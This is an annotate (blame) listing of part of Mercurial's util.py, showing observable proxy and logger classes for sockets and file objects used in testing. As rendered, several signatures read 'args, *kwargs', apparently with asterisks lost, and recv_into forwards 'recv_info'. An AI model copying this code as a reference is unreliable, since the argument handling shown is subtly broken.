3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	633 fn(res, size)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	634
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	635 return res
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	636
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	637 def readline(self, args, *kwargs):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	638 res = super(observedbufferedinputpipe, self).readline(args, *kwargs)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	639
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	640 fn = getattr(self._input._observer, r'bufferedreadline', None)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	641 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	642 fn(res)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	643
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	644 return res
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	645
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	646
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	647 PROXIED_SOCKET_METHODS = {
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	648 r'makefile',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	649 r'recv',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	650 r'recvfrom',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	651 r'recvfrom_into',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	652 r'recv_into',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	653 r'send',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	654 r'sendall',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	655 r'sendto',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	656 r'setblocking',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	657 r'settimeout',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	658 r'gettimeout',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	659 r'setsockopt',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	660 }
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	661
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	662
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	663 class socketproxy(object):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	664 """A proxy around a socket that tells a watcher when events occur.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	665
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	666 This is like ``fileobjectproxy`` except for sockets.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	667
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	668 This type is intended to only be used for testing purposes. Think hard
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	669 before using it in important code.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	670 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	671
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	672 __slots__ = (
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	673 r'_orig',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	674 r'_observer',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	675 )
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	676
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	677 def __init__(self, sock, observer):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	678 object.__setattr__(self, r'_orig', sock)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	679 object.__setattr__(self, r'_observer', observer)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	680
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	681 def __getattribute__(self, name):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	682 if name in PROXIED_SOCKET_METHODS:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	683 return object.__getattribute__(self, name)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	684
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	685 return getattr(object.__getattribute__(self, r'_orig'), name)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	686
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	687 def __delattr__(self, name):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	688 return delattr(object.__getattribute__(self, r'_orig'), name)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	689
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	690 def __setattr__(self, name, value):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	691 return setattr(object.__getattribute__(self, r'_orig'), name, value)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	692
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	693 def __nonzero__(self):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	694 return bool(object.__getattribute__(self, r'_orig'))
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	695
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	696 __bool__ = __nonzero__
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	697
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	698 def _observedcall(self, name, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	699 # Call the original object.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	700 orig = object.__getattribute__(self, r'_orig')
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	701 res = getattr(orig, name)(args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	702
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	703 # Call a method on the observer of the same name with arguments
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	704 # so it can react, log, etc.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	705 observer = object.__getattribute__(self, r'_observer')
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	706 fn = getattr(observer, name, None)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	707 if fn:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	708 fn(res, args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	709
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	710 return res
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	711
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	712 def makefile(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	713 res = object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	714 r'makefile', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	715 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	716
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	717 # The file object may be used for I/O. So we turn it into a
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	718 # proxy using our observer.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	719 observer = object.__getattribute__(self, r'_observer')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	720 return makeloggingfileobject(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	721 observer.fh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	722 res,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	723 observer.name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	724 reads=observer.reads,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	725 writes=observer.writes,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	726 logdata=observer.logdata,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	727 logdataapis=observer.logdataapis,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	728 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	729
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	730 def recv(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	731 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	732 r'recv', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	733 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	734
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	735 def recvfrom(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	736 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	737 r'recvfrom', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	738 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	739
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	740 def recvfrom_into(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	741 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	742 r'recvfrom_into', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	743 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	744
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	745 def recv_into(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	746 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	747 r'recv_info', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	748 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	749
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	750 def send(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	751 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	752 r'send', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	753 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	754
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	755 def sendall(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	756 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	757 r'sendall', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	758 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	759
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	760 def sendto(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	761 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	762 r'sendto', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	763 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	764
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	765 def setblocking(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	766 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	767 r'setblocking', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	768 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	769
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	770 def settimeout(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	771 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	772 r'settimeout', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	773 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	774
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	775 def gettimeout(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	776 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	777 r'gettimeout', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	778 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	779
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	780 def setsockopt(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	781 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	782 r'setsockopt', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	783 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	784
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	785
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	786 class baseproxyobserver(object):
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	787 def _writedata(self, data):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	788 if not self.logdata:
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	789 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	790 self.fh.write('\n')
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	791 self.fh.flush()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	792 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	793
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	794 # Simple case writes all data on a single line.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	795 if b'\n' not in data:
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	796 if self.logdataapis:
37322 a67fd1fe5109 stringutil: drop escapedata() in favor of escapestr() Yuya Nishihara <yuya@tcha.org> parents: 37124 diff changeset	797 self.fh.write(': %s\n' % stringutil.escapestr(data))
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	798 else:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	799 self.fh.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	800 '%s> %s\n' % (self.name, stringutil.escapestr(data))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	801 )
36994 d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 36964 diff changeset	802 self.fh.flush()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	803 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	804
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	805 # Data with newlines is written to multiple lines.
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	806 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	807 self.fh.write(':\n')
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	808
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	809 lines = data.splitlines(True)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	810 for line in lines:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	811 self.fh.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	812 '%s> %s\n' % (self.name, stringutil.escapestr(line))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	813 )
36994 d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 36964 diff changeset	814 self.fh.flush()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	815
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	816
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	817 class fileobjectobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	818 """Logs file object activity."""
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	819
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	820 def __init__(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	821 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	822 ):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	823 self.fh = fh
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	824 self.name = name
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	825 self.logdata = logdata
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	826 self.logdataapis = logdataapis
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	827 self.reads = reads
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	828 self.writes = writes
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	829
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	830 def read(self, res, size=-1):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	831 if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	832 return
36614 26a6b62919e2 util: work around Python 3 returning None at EOF instead of '' Augie Fackler <augie@google.com> parents: 36613 diff changeset	833 # Python 3 can return None from reads at EOF instead of empty strings.
26a6b62919e2 util: work around Python 3 returning None at EOF instead of '' Augie Fackler <augie@google.com> parents: 36613 diff changeset	834 if res is None:
26a6b62919e2 util: work around Python 3 returning None at EOF instead of '' Augie Fackler <augie@google.com> parents: 36613 diff changeset	835 res = ''
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	836
38323 565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	837 if size == -1 and res == '':
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	838 # Suppress pointless read(-1) calls that return
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	839 # nothing. These happen _a lot_ on Python 3, and there
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	840 # doesn't seem to be a better workaround to have matching
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	841 # Python 2 and 3 behavior. :(
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	842 return
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	843
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	844 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	845 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	846
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	847 self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	848
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	849 def readline(self, res, limit=-1):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	850 if not self.reads:
